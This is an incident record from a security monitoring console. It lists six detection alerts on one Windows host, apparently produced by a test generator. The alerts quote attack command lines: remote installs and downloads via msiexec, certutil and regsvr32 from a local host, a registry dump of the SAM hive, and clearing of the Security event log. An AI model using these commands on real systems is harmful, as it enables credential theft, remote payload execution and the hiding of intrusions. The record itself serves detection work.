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Critical CINC-20251220-A7711941 new

Aggregate ID: aggind:d403078a73c1471f9199f846a04a1b58:4300080643

Incident Overview

Incident ID CINC-20251220-A7711941
Severity Critical (90)
Status new
Alert Count 6
Host Count 1

Timeline

First Seen 2025-12-15 02:49:39
Last Seen 2025-12-15 02:53:14
Duration 0d 0h 3m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Persistence Credential Access Command and Control Defense Evasion Execution
Techniques:
Event Triggered Execution OS Credential Dumping Ingress Tool Transfer Indicator Removal Regsvr32 User Execution

Affected Hosts (1)

DESKTOP-0TNTPTE

Related Alerts (6)

Severity Status Hostname Description Tactic Command Line Time
High new DESKTOP-0TNTPTE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-15 02:53
Critical new DESKTOP-0TNTPTE A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SAM C:\Users\dsst\AppData\Local\Temp\sam.hiv 12-15 02:53
High new DESKTOP-0TNTPTE Certutil was observed downloading file(s) from a remote location. This process is rarely used benignly in this context. Please review the command line and process tree. Command and Control certutil -urlcache -split -f http://127.0.0.1/test.exe C:\Users\dsst\AppData\Local\Temp\cert.exe 12-15 02:53
High new DESKTOP-0TNTPTE A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-15 02:53
High new DESKTOP-0TNTPTE A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-15 02:53
Informational new DESKTOP-0TNTPTE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "C:\Users\dsst\cortex-xdr-siem-test\xdr_tools\MegaGenerator\publish\MegaGenerator.exe" 12-15 02:49